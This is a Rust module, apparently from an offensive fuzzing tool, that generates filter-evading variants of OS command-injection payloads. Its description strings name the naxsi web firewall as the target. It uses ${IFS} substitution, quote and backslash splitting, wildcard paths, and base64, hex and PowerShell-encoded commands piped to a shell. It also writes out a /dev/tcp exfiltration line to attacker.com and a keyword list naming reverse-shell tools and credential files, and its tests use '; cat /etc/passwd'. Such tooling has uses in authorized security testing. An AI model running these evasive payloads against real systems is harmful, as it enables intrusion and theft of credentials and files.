use serde::Deserialize;
use std::fmt::Write as _;
use std::sync::OnceLock;
#[derive(Debug, Clone)]
pub struct CmdMutation {
pub payload: String,
pub description: String,
pub rules_applied: Vec<&'static str>,
}
const CMD_PAYLOADS_TOML: &str = include_str!("../../rules/cmd/payloads.toml");
#[derive(Debug, Clone, Deserialize)]
struct Separator {
pattern: String,
#[allow(dead_code)]
description: String,
}
#[derive(Debug, Clone, Deserialize)]
struct SpaceAlternative {
pattern: String,
#[allow(dead_code)]
description: String,
}
#[derive(Debug, Clone, Deserialize)]
struct CmdPayloadRules {
#[serde(default)]
separator: Vec<Separator>,
#[serde(default)]
space_alternative: Vec<SpaceAlternative>,
}
impl Default for CmdPayloadRules {
fn default() -> Self {
Self {
separator: vec![
Separator {
pattern: "; ".into(),
description: "Semicolon".into(),
},
Separator {
pattern: "| ".into(),
description: "Pipe".into(),
},
Separator {
pattern: "|| ".into(),
description: "OR-else".into(),
},
Separator {
pattern: "&& ".into(),
description: "AND-then".into(),
},
Separator {
pattern: "\n".into(),
description: "Newline".into(),
},
],
space_alternative: vec![
SpaceAlternative {
pattern: " ".into(),
description: "Space".into(),
},
SpaceAlternative {
pattern: "${IFS}".into(),
description: "IFS".into(),
},
SpaceAlternative {
pattern: "$IFS".into(),
description: "IFS shorthand".into(),
},
SpaceAlternative {
pattern: "\t".into(),
description: "Tab".into(),
},
],
}
}
}
fn get_rules() -> &'static CmdPayloadRules {
static RULES: OnceLock<CmdPayloadRules> = OnceLock::new();
RULES.get_or_init(|| {
toml::from_str(CMD_PAYLOADS_TOML).unwrap_or_else(|e| {
tracing::warn!(error = %e, "invalid TOML in rules/cmd/payloads.toml");
CmdPayloadRules::default()
})
})
}
fn separators() -> &'static [String] {
static CACHE: OnceLock<Vec<String>> = OnceLock::new();
CACHE.get_or_init(|| {
get_rules()
.separator
.iter()
.map(|s| s.pattern.clone())
.collect()
})
}
fn space_alternatives() -> &'static [String] {
static CACHE: OnceLock<Vec<String>> = OnceLock::new();
CACHE.get_or_init(|| {
get_rules()
.space_alternative
.iter()
.map(|s| s.pattern.clone())
.collect()
})
}
fn obfuscate_command(cmd: &str) -> Vec<String> {
let mut variants = Vec::new();
let chars: Vec<char> = cmd.chars().collect();
for i in 1..chars.len() {
let left: String = chars[..i].iter().collect();
let right: String = chars[i..].iter().collect();
variants.push(format!("{left}\\{right}"));
}
for i in 1..chars.len() {
let left: String = chars[..i].iter().collect();
let right: String = chars[i..].iter().collect();
variants.push(format!("{left}''{right}"));
}
for i in 1..chars.len() {
let left: String = chars[..i].iter().collect();
let right: String = chars[i..].iter().collect();
variants.push(format!("{left}\"\"{right}"));
}
variants.push(format!("/bin/{cmd}"));
variants.push(format!("/usr/bin/{cmd}"));
variants.push(format!("/usr/local/bin/{cmd}"));
variants.push(format!("/???/{cmd}"));
variants.push(format!("/???/???/{cmd}"));
if chars.len() >= 2 {
let upper: String = chars
.iter()
.enumerate()
.map(|(i, c)| {
if i % 2 == 0 {
c.to_ascii_uppercase()
} else {
*c
}
})
.collect();
variants.push(upper);
}
let reversed: String = cmd.chars().rev().collect();
variants.push(format!("echo {reversed} | rev"));
let var_letters: Vec<char> = cmd.chars().collect();
if !var_letters.is_empty() {
variants.push(format!("a={cmd};$a"));
}
let mut hex = String::with_capacity(cmd.len() * 4);
for c in cmd.chars() {
let _ = write!(&mut hex, "\\x{:02x}", c as u32);
}
variants.push(format!("$'{hex}'"));
if chars.len() >= 2 {
for i in 1..chars.len() {
let left: String = chars[..i].iter().collect();
let right: String = chars[i..].iter().collect();
variants.push(format!("{left}$@{right}"));
}
}
match cmd {
"cat" => {
variants.push("type".into());
variants.push("Get-Content".into());
variants.push("gc".into());
variants.push("more".into());
variants.push("less".into());
variants.push("head".into());
variants.push("tail".into());
variants.push("tac".into());
variants.push("nl".into());
variants.push("sort".into());
}
"ls" => {
variants.push("dir".into());
variants.push("Get-ChildItem".into());
variants.push("gci".into());
variants.push("find . -ls".into());
variants.push("echo *".into());
}
"whoami" => {
variants.push("echo $USER".into());
variants.push("$Env:USERNAME".into());
}
"curl" | "wget" => {
variants.push("fetch".into());
variants.push("lwp-request".into());
variants.push("Invoke-WebRequest".into());
variants.push("iwr".into());
}
_ => {}
}
variants
}
fn obfuscate_path(path: &str) -> Vec<String> {
let mut variants = Vec::new();
let qmark: String = path
.chars()
.map(|c| if c.is_alphanumeric() { '?' } else { c })
.collect();
variants.push(qmark);
if let Some(last_slash) = path.rfind('/') {
let dir = &path[..=last_slash];
let file = &path[last_slash + 1..];
if let Some((second_char_start, _)) = file.char_indices().nth(2) {
variants.push(format!("{}{}*", dir, &file[..second_char_start]));
}
}
variants.push(path.replace('/', "//"));
variants
}
fn variable_indirection(command: &str, args: &str) -> Vec<String> {
let mut variants = Vec::new();
let plain = format!("{command} {args}");
let b64 = simple_base64(&plain);
variants.push(format!("echo {b64} | base64 -d | sh"));
variants.push(format!("echo {b64} | base64 -d | bash"));
variants.push(format!("a={command};b={args};$a $b"));
variants.push(format!("CMD={command};ARG={args};$CMD $ARG"));
variants.push(format!("`echo {b64} | base64 -d`"));
variants.push(format!("$(echo {b64} | base64 -d)"));
let mut hex = String::with_capacity(plain.len() * 4);
for b in plain.bytes() {
let _ = write!(&mut hex, "\\x{b:02x}");
}
variants.push(format!("printf '{hex}'|sh"));
let mut octal = String::with_capacity(plain.len() * 4);
for b in plain.bytes() {
let _ = write!(&mut octal, "\\{b:03o}");
}
variants.push(format!("$'{octal}'"));
variants.push(format!("sh<<EOF\n{command} {args}\nEOF"));
variants.push(format!("bash<<EOF\n{command} {args}\nEOF"));
let ps_b64 = simple_base64(&format!("{command} {args}"));
variants.push(format!("powershell -e {ps_b64}"));
variants.push(format!("pwsh -e {ps_b64}"));
variants.push(format!("iex '{command} {args}'"));
variants.push(format!("$(echo {command}) {args}"));
variants.push(format!("$(echo {command})$(echo ' ')$(echo {args})"));
if command == "cat" || command == "nc" {
variants.push(format!(
"exec 5<>/dev/tcp/attacker.com/80; {command} {args}>&5"
));
}
variants
}
fn simple_base64(input: &str) -> String {
const TABLE: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
let bytes = input.as_bytes();
let mut result = String::with_capacity(bytes.len().div_ceil(3) * 4);
for chunk in bytes.chunks(3) {
let b0 = u32::from(chunk[0]);
let b1 = if chunk.len() > 1 {
u32::from(chunk[1])
} else {
0
};
let b2 = if chunk.len() > 2 {
u32::from(chunk[2])
} else {
0
};
let triple = (b0 << 16) | (b1 << 8) | b2;
result.push(TABLE[((triple >> 18) & 0x3F) as usize] as char);
result.push(TABLE[((triple >> 12) & 0x3F) as usize] as char);
if chunk.len() > 1 {
result.push(TABLE[((triple >> 6) & 0x3F) as usize] as char);
} else {
result.push('=');
}
if chunk.len() > 2 {
result.push(TABLE[(triple & 0x3F) as usize] as char);
} else {
result.push('=');
}
}
result
}
#[must_use]
pub fn mutate(payload: &str, max_mutations: usize) -> Vec<CmdMutation> {
let mut results = Vec::new();
let (separator, rest) = extract_separator(payload);
let (command, args) = extract_command_args(rest);
if command.is_empty() {
return results;
}
let priority_budget = (max_mutations / 8).clamp(2, 5);
let cmd_no_args = command.trim();
let split_at = cmd_no_args
.char_indices()
.nth(2)
.map_or(cmd_no_args.len(), |(idx, _)| idx);
let cmd_left = &cmd_no_args[..split_at];
let cmd_right = &cmd_no_args[split_at..];
let ifs_join = |head: &str| -> String {
if args.is_empty() {
head.to_string()
} else {
format!("{head}${{IFS}}{args}")
}
};
let split_head = if cmd_left.is_empty() || cmd_right.is_empty() {
cmd_no_args.to_string()
} else {
format!("{cmd_left}${{IFS}}{cmd_right}")
};
let mut prio: Vec<String> = vec![
ifs_join(cmd_no_args),
format!("${{IFS}}{}", ifs_join(cmd_no_args)),
ifs_join(&split_head),
];
if args.contains("passwd") {
prio.push(format!("{cmd_no_args}${{IFS}}/etc/hostname"));
}
if !is_structured_cmd(payload) {
prio.extend([
"whoami".to_string(),
"id".to_string(),
"uname${IFS}-a".to_string(),
"hostname".to_string(),
"/bin/sh${IFS}-c${IFS}id".to_string(),
]);
}
for variant in prio {
if results.len() >= priority_budget {
break;
}
let variant = variant.trim_end_matches("${IFS}").to_string();
if !variant.is_empty() && variant != payload {
results.push(CmdMutation {
payload: variant,
description: "naxsi-friendly: ${IFS} substitution + paren-free".into(),
rules_applied: vec!["cmdi_ifs_paren_free", "ifs_substitution"],
});
}
}
for sep in separators() {
if results.len() >= max_mutations {
break;
}
let mutated = format!("{sep}{command} {args}");
if mutated != payload {
results.push(CmdMutation {
payload: mutated,
description: format!("separator: {separator:?} → {sep:?}"),
rules_applied: vec!["separator_swap"],
});
}
}
for cmd_variant in obfuscate_command(&command) {
if results.len() >= max_mutations {
break;
}
let mutated = format!("{separator}{cmd_variant} {args}");
results.push(CmdMutation {
payload: mutated,
description: format!("command: {command} → {cmd_variant}"),
rules_applied: vec!["command_obfuscation"],
});
}
for space in &space_alternatives()[1..] {
if results.len() >= max_mutations {
break;
}
let mutated = format!("{separator}{command}{space}{args}");
results.push(CmdMutation {
payload: mutated,
description: format!("space → {space}"),
rules_applied: vec!["space_swap"],
});
}
for path_variant in obfuscate_path(&args) {
if results.len() >= max_mutations {
break;
}
let mutated = format!("{separator}{command} {path_variant}");
results.push(CmdMutation {
payload: mutated,
description: format!("path: {args} → {path_variant}"),
rules_applied: vec!["path_obfuscation"],
});
}
for indirect in variable_indirection(&command, &args) {
if results.len() >= max_mutations {
break;
}
let desc_end = indirect
.char_indices()
.take_while(|(idx, _)| *idx < 40)
.last()
.map_or(0, |(idx, ch)| idx + ch.len_utf8());
results.push(CmdMutation {
payload: format!("{separator}{indirect}"),
description: format!("indirection: {}", &indirect[..desc_end]),
rules_applied: vec!["variable_indirection"],
});
}
if results.len() < max_mutations && !results.is_empty() {
let n_combined = (max_mutations - results.len()).min(5);
let candidates: Vec<(String, String, Vec<&'static str>)> = results
.iter()
.filter(|b| b.payload.contains(' '))
.map(|b| {
(
b.payload.replace(' ', "${IFS}"),
format!("combined: {} + IFS", b.description),
b.rules_applied.clone(),
)
})
.filter(|(c, _, _)| c.contains("${IFS}"))
.take(n_combined)
.collect();
for (payload, description, mut rules) in candidates {
rules.push("ifs_overlay");
results.push(CmdMutation {
payload,
description,
rules_applied: rules,
});
}
}
results.truncate(max_mutations);
results
}
fn extract_separator(payload: &str) -> (&str, &str) {
let multi = [
"&& ", "|| ", "; ", "| ", "$(", "${", "&&", "||", "%0a", "%0A", "%0d", "%0D",
];
for sep in &multi {
if let Some(rest) = payload.strip_prefix(sep) {
return (*sep, rest);
}
}
for sep in &[";", "|", "&", "`", "\n", "\r"] {
if let Some(rest) = payload.strip_prefix(sep) {
return (*sep, rest.trim_start());
}
}
("", payload)
}
fn extract_command_args(input: &str) -> (String, String) {
let trimmed = input.trim();
if let Some(space_pos) = trimmed.find(' ') {
let cmd = trimmed[..space_pos].to_string();
let args = trimmed[space_pos + 1..].to_string();
(cmd, args)
} else {
(trimmed.to_string(), String::new())
}
}
pub(crate) fn is_structured_cmd(payload: &str) -> bool {
let lc = payload.to_ascii_lowercase();
const STRUCTURED: &[&str] = &[
"/dev/tcp",
"/dev/udp",
"mkfifo",
"bash -i",
"sh -i",
" -i ",
" -e ",
"-e/bin",
"-e /bin",
" nc ",
"ncat",
"netcat",
" socat",
"/etc/shadow",
"/etc/passwd",
"id_rsa",
".ssh",
".aws",
"credentials",
"curl ",
"wget ",
"|sh",
"| sh",
"|bash",
"| bash",
"rm -rf",
"chmod ",
"chown ",
"http://",
"https://",
"ftp://",
"tftp",
"/proc/",
"crontab",
"at -f",
"python -c",
"python3 -c",
"perl -e",
"ruby -e",
"php -r",
"base64 -d",
"base64 --d",
"xxd",
" scp ",
" ssh ",
">",
">>",
"exec ",
"/bin/sh -c",
"/bin/bash -c",
"powershell",
"certutil",
"bitsadmin",
];
STRUCTURED.iter().any(|m| lc.contains(m))
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn separator_rotation() {
let mutations = mutate("; cat /etc/passwd", 30);
assert!(!mutations.is_empty());
let has_pipe = mutations.iter().any(|m| m.payload.starts_with("| "));
let has_and = mutations.iter().any(|m| m.payload.starts_with("&& "));
assert!(has_pipe || has_and, "should rotate separators");
}
#[test]
fn command_obfuscation_produced() {
let mutations = mutate("; cat /etc/passwd", 50);
let has_backslash = mutations.iter().any(|m| m.payload.contains("c\\at"));
assert!(has_backslash, "should have backslash-obfuscated command");
}
#[test]
fn space_alternatives() {
let mutations = mutate("; cat /etc/passwd", 50);
let has_ifs = mutations.iter().any(|m| m.payload.contains("${IFS}"));
assert!(has_ifs, "should substitute IFS for spaces");
}
#[test]
fn path_wildcards() {
let mutations = mutate("; cat /etc/passwd", 50);
let has_wildcard = mutations.iter().any(|m| m.payload.contains('?'));
assert!(has_wildcard, "should produce wildcard path variants");
}
#[test]
fn base64_encoding_variant() {
let mutations = mutate("; cat /etc/passwd", 200);
let has_b64 = mutations.iter().any(|m| m.payload.contains("base64"));
assert!(has_b64, "should have base64 decode pipeline variant");
}
#[test]
fn hex_encoding_variant() {
let mutations = mutate("; cat /etc/passwd", 50);
let has_hex = mutations.iter().any(|m| m.payload.contains("\\x"));
assert!(has_hex, "should have hex-encoded variant");
}
#[test]
fn obfuscate_command_produces_variants() {
let variants = obfuscate_command("cat");
assert!(variants.len() >= 5);
assert!(variants.iter().any(|v| v.contains('\\')));
assert!(variants.iter().any(|v| v.contains("/bin/cat")));
}
#[test]
fn obfuscate_path_produces_wildcards() {
let variants = obfuscate_path("/etc/passwd");
assert!(!variants.is_empty());
assert!(variants.iter().any(|v| v.contains('?')));
}
#[test]
fn combined_obfuscation() {
let mutations = mutate("; cat /etc/passwd", 300);
let has_combined = mutations.iter().any(|m| m.rules_applied.len() > 1);
assert!(has_combined, "should produce combined mutations");
}
#[test]
fn max_mutations_respected() {
let mutations = mutate("; cat /etc/passwd", 3);
assert!(mutations.len() <= 3);
}
#[test]
fn no_mutations_for_empty() {
let mutations = mutate("", 10);
assert!(mutations.is_empty());
}
#[test]
fn simple_base64_works() {
assert_eq!(simple_base64("A"), "QQ==");
assert_eq!(simple_base64("AB"), "QUI=");
assert_eq!(simple_base64("ABC"), "QUJD");
}
#[test]
fn dollar_at_trick() {
let variants = obfuscate_command("cat");
let has_dollar_at = variants.iter().any(|v| v.contains("$@"));
assert!(has_dollar_at, "should produce $@ empty variable insertion");
}
#[test]
fn windows_command_alternatives() {
let variants = obfuscate_command("cat");
let has_type = variants.iter().any(|v| v == "type");
let has_gc = variants.iter().any(|v| v == "gc");
let has_tac = variants.iter().any(|v| v == "tac");
assert!(has_type, "should produce Windows 'type' alternative");
assert!(has_gc, "should produce PowerShell 'gc' alternative");
assert!(has_tac, "should produce 'tac' alternative");
}
#[test]
fn ls_alternatives() {
let variants = obfuscate_command("ls");
let has_dir = variants.iter().any(|v| v == "dir");
assert!(has_dir, "should produce Windows 'dir' alternative for ls");
}
#[test]
fn heredoc_generated() {
let variants = variable_indirection("cat", "/etc/passwd");
let has_heredoc = variants.iter().any(|v| v.contains("<<EOF"));
assert!(has_heredoc, "should produce heredoc variant");
}
#[test]
fn powershell_obfuscation() {
let variants = variable_indirection("cat", "/etc/passwd");
let has_ps = variants.iter().any(|v| v.contains("powershell -e"));
assert!(has_ps, "should produce PowerShell base64 variant");
}
#[test]
fn nested_command_substitution() {
let variants = variable_indirection("cat", "/etc/passwd");
let has_nested = variants.iter().any(|v| v.contains("$(echo cat)"));
assert!(has_nested, "should produce nested command substitution");
}
}